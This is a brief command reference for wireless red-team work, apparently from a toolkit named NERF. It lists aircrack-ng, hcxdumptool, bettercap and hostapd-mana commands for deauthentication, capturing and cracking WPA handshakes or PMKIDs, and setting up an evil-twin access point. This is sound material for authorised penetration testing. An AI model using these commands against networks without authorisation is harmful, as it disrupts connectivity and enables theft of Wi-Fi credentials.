<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
# API Reference — Performing Wireless Red Team

## aircrack-ng Suite
```bash
# Monitor mode
airmon-ng check kill
airmon-ng start wlan0

# Scan
airodump-ng wlan0mon
airodump-ng wlan0mon -c CHANNEL --bssid BSSID -w PREFIX

# Deauth
aireplay-ng -0 COUNT -a BSSID wlan0mon              # Broadcast deauth
aireplay-ng -0 COUNT -a BSSID -c CLIENT wlan0mon     # Targeted deauth

# Crack
aircrack-ng capture.cap -w wordlist.txt
```

## hcxdumptool / hcxtools
```bash
# PMKID capture
hcxdumptool -i wlan0mon -o capture.pcapng --filterlist-ap=BSSID --filtermode=2

# Convert to hashcat format
hcxpcapngtool -o hash.22000 capture.pcapng
```

## Bettercap
```bash
bettercap -iface wlan0mon
> wifi.recon on
> wifi.show
> wifi.deauth BSSID
> wifi.assoc BSSID                    # PMKID via association
```

## Hashcat WiFi Modes
| Mode | Type |
|------|------|
| 22000 | WPA-PBKDF2-PMKID+EAPOL |
| 2500 | WPA-EAPOL-PBKDF2 (legacy) |
| 5500 | NetNTLMv1 (Enterprise EAP) |

## hostapd-mana (Evil Twin)
```bash
hostapd-mana config.conf
# Config: interface, ssid, channel, wpa settings
# Optionally enable EAP for Enterprise attacks
```
